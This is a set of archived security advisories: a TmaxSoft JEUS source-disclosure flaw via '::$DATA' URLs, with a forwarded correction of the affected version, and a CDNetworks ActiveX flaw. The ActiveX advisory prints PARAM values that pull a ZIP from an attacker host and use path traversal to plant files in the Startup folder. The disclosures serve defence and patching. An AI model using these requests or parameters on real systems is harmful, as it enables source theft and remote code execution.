TmaxSoft JEUS Alternate Data Streams Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Title: TmaxSoft JEUS Alternate Data Streams Vulnerability Author: Simon Ryeo(bar4mi (at) gmail) Severity: High Impact: Remote File Disclosure Vulnerable Version: JEUS 5: Fix#26 on NTFS References: - http://www.microsoft.com/technet/security/bulletin/ms98-003.mspx - http://www.tmaxsoft.com - http://www.tmax.co.kr/tmaxsoft/index.screen History: - 10.22.2008: Initiate notify - 10.23.2008: The vendor responded - 11.21.2008: The vendor replied detail information. - 12.12.2008: The vendor finished the preparation for patches and responses. Description: On NTFS TmaxSoft JEUS, which is an famous web application server, contained a vulnerability that allows an attacker to obtain web application source files. This was caused by ADSs(Alternate Data Streams; ::$DATA). JEUS couldn't handle ::$DATA. So it treated test.jsp::$DATA as an normal file when it requested. This is similar to the past MS Widnows IIS vulnerability(Bid 0149). Exploit: The attacker can obtain them easily using an URL request. http://www.target.com/foo/bar.jsp::$DATA Solution: The vendor released solutions for this problem. Method 1) Upgrade JEUS - JEUS 5: http://technet.tmax.co.kr/kr/download/platformList.do?groupCode=WASproduct Code=JeusversionCode=5.0.0.26.Pfc=downsc=down_productmid=binary - JEUS 4: a. Use to change WebtoB function b. Upgrade JEUS to version 6 (the service for version 4 will be out of service after Dec 2009) Method 2) Use to change WebtoB fuction - Change the message communication method from 'URI' to 'EXT' (This is valid whether you use the embed WebtoB to JEUS or the single WebtoB) Method 3) Install the patch (ex. jext.jar) - The patch file will be valid until Jan. 2009 (Target version: 3.3.7.15, 4.0, 4.1, 4.2 final, 5.x(each verison will be offered below Fix#26) Please refer to TmaxSoft Homepage for detail support palns. It will be valid until Mar. 2009. (http://www.tmaxsoft.com) -BEGIN PGP SIGNATURE- Version: 9.8.3.4028 wj8DBQFJQqOXzuoR/xLtCioRAn2DAKDpN2ckXu7xt6OvYUeWHLiEoPQOmwCg6csI KY69SPNXHg2rHlXJanIBQDw= =SW3P -END PGP SIGNATURE--
Fwd: TmaxSoft JEUS Alternate Data Streams Vulnerability
Dear bugtraq, Thanks for your concern. I saw BID 32804. It is one incorrect information. Tmax Soft JEUS 5 Fix#26 is not vulnerable. The vendor informs that users upgrade to this version(Fix #26). Please change this information. Sincerely, Simon -- Forwarded message -- From: Simon Ryeo bar...@gmail.com Date: 2008/12/13 Subject: TmaxSoft JEUS Alternate Data Streams Vulnerability To: bugtraq@securityfocus.com -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Title: TmaxSoft JEUS Alternate Data Streams Vulnerability Author: Simon Ryeo(bar4mi (at) gmail) Severity: High Impact: Remote File Disclosure Vulnerable Version: JEUS 5: Fix#26 on NTFS References: - http://www.microsoft.com/technet/security/bulletin/ms98-003.mspx - http://www.tmaxsoft.com - http://www.tmax.co.kr/tmaxsoft/index.screen History: - 10.22.2008: Initiate notify - 10.23.2008: The vendor responded - 11.21.2008: The vendor replied detail information. - 12.12.2008: The vendor finished the preparation for patches and responses. Description: On NTFS TmaxSoft JEUS, which is an famous web application server, contained a vulnerability that allows an attacker to obtain web application source files. This was caused by ADSs(Alternate Data Streams; ::$DATA). JEUS couldn't handle ::$DATA. So it treated test.jsp::$DATA as an normal file when it requested. This is similar to the past MS Widnows IIS vulnerability(Bid 0149). Exploit: The attacker can obtain them easily using an URL request. http://www.target.com/foo/bar.jsp::$DATA Solution: The vendor released solutions for this problem. Method 1) Upgrade JEUS - JEUS 5: http://technet.tmax.co.kr/kr/download/platformList.do?groupCode=WASproduct Code=JeusversionCode=5.0.0.26.Pfc=downsc=down_productmid=binary - JEUS 4: a. Use to change WebtoB function b. Upgrade JEUS to version 6 (the service for version 4 will be out of service after Dec 2009) Method 2) Use to change WebtoB fuction - Change the message communication method from 'URI' to 'EXT' (This is valid whether you use the embed WebtoB to JEUS or the single WebtoB) Method 3) Install the patch (ex. jext.jar) - The patch file will be valid until Jan. 2009 (Target version: 3.3.7.15, 4.0, 4.1, 4.2 final, 5.x(each verison will be offered below Fix#26) Please refer to TmaxSoft Homepage for detail support palns. It will be valid until Mar. 2009. (http://www.tmaxsoft.com) -BEGIN PGP SIGNATURE- Version: 9.8.3.4028 wj8DBQFJQqOXzuoR/xLtCioRAn2DAKDpN2ckXu7xt6OvYUeWHLiEoPQOmwCg6csI KY69SPNXHg2rHlXJanIBQDw= =SW3P -END PGP SIGNATURE--
CDNetworks Nefficient Download(NeffyLauncher.dll) Vulnerabilities
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Hash: SHA1
Title: CDNetworks Nefficient Download(NeffyLauncher.dll) Vulnerabilities
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote Code Execution
Vulnerable Systems: MS Windows Systems
Version: NeffyLauncher 1.0.5 {AA07EBD2-EBDD-4BD6-9F8F-114BD513492C}
Solution: Upgrade the vendor's patch
Vendor's Homepage: http://www.cdnetworks.com
Reference: How to stop an ActiveX control from running in Internet Explorer
http://support.microsoft.com/kb/240797/ko
http://support.microsoft.com/kb/240797/en-us
History:
- 02.27.2008: Initiate notify
- 03.06.2008: The vendor patched
- After: The vendor are applying the patch to their customers.
Description:
Neffycient Download is a ActiveX control used to download and to upgrade
such as game install files through HTTP, FTP, etc. It has two
vulnerabilities.
1st, a attacker can copy a malicious file to any path such as start program
folder(C:\Documents and Settings\All Users\Start Menu\Programs\Startup).
2nd, a attacker can issue keycodes which are used to restrict execution on
other domains.
Object:
I notify this vulnerability not to promote abnormal uses but to make
a software more secure. This vulnerability was patched by the vendor's
positive effort. I hope this information helps many people who try
to study security and to develop an application.
1. Remote Code Execution
First of all, we must have write permission on a board in a web site used
this ActiveX or obtain a valid keycode which is correct to your site.
An Attacker who has a valid keycode can make a expolit by modifying
HttpSkin,
SkinPath's values. Malicious files which is on attacker's site must
be compressed as ZIP file.
For instance. The below modification copies abnormal files to Windows's
root directory.
PARAM NAME=HttpSkin VALUE=http://www.attacker.com/maliciousFiles.zip;
PARAM NAME=SkinPath VALUE=../../../../
In this way an attacker can modify SkinPath's value to All Users's Start
Program Folder. Then he can execute his malicious program when the user
restarts his computer.
2. Generating a KeyCode Value
An attacker can make the keycode generator by debugging this ActiveX
control. A keycode's value has two meaning. First two digits represent
the domain's length(hexadecimal).
Next five(or more) digits are valuable numbers to calculate a domain.
The keycode check the procedure of this ActiveX control likes below.
It calculates the keycode's value and returns four bytes as a result.
Next it starts the domain's calculation and returns four bytes.
Finally, it compares with these four bytes to check whether the site is
valid.
I made a PoC using inline assembly and C. But it doesn't open to the public
because of the vendor's request. (Just refer above descriptions.)
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